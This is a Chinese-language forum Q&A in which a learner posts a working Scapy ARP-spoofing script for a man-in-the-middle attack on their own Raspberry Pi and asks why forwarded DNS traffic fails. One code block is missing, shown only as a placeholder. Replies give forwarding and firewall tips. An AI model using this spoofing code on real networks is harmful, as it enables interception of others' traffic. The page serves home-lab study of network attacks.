Scapy转发包裹

2024-05-20 21:27:59 发布

您现在位置:Python中文网/ 问答频道 /正文

我只是在和斯卡比学Python。我读过并使用了《网络黑客——密集型——Angriff und Verteidigung mit Python》(德语)一书。在

我想尝试一个中间人攻击使用arp欺骗。 我有我的电脑,受害者(我的树莓皮)和标准网关。在

为了欺骗,我使用了书中的代码片段

#!/usr/bin/python

import sys
import time
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 3:
    print sys.argv[0] + " <target> <spoof_ip>"
    sys.exit(0)

iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

它起作用了,受害者把我的mac作为网关显示出来。 受害者发送的数据包的ip地址是正确的,但不是我的mac地址。 现在受害者应该打开一个网站(wget http//example.com网站)我想用Wireshark来读取流量。但是我必须重定向包(DNS和TCP/HTTP)。我试过用这个代码:

^{pr2}$

Wireshark显示一个包含正确数据的包(IP源=受害者IP,IP目标=网关IP,MAC源=受害者MAC,MAC目标=网关MAC)。 网关是DSL路由器,所以也是“DNS服务器”。在

但是我的树莓没有收到DNS响应。我的错是什么?在

您忠实的

马斯托姆


Tags: 代码importiptarget网关timednsmac
2条回答

Scapy没有为您做的一件事是处理防火墙问题;在这种情况下,您最好关闭攻击主机上的主机防火墙。你正在制作的包没有使用包的常规路径。在

另外,当你转发数据包时,你是否正在转换源地址,以便得到响应?我在密码里没有看到。。。在

检查监视器模式是否在假dns服务器接口上。我看不出你的代码,如果这样做只是一个快速提示。我睡了一会儿再仔细看,可以看得很清楚。当我上次做欺骗时,我有一根以太网线,在wlan上以路由器和监控模式连接互联网。如果我试着没有显示一些想要的信息,但就是不正确,我不记得我做了什么来修复它。祝你好运。在

相关问题 更多 >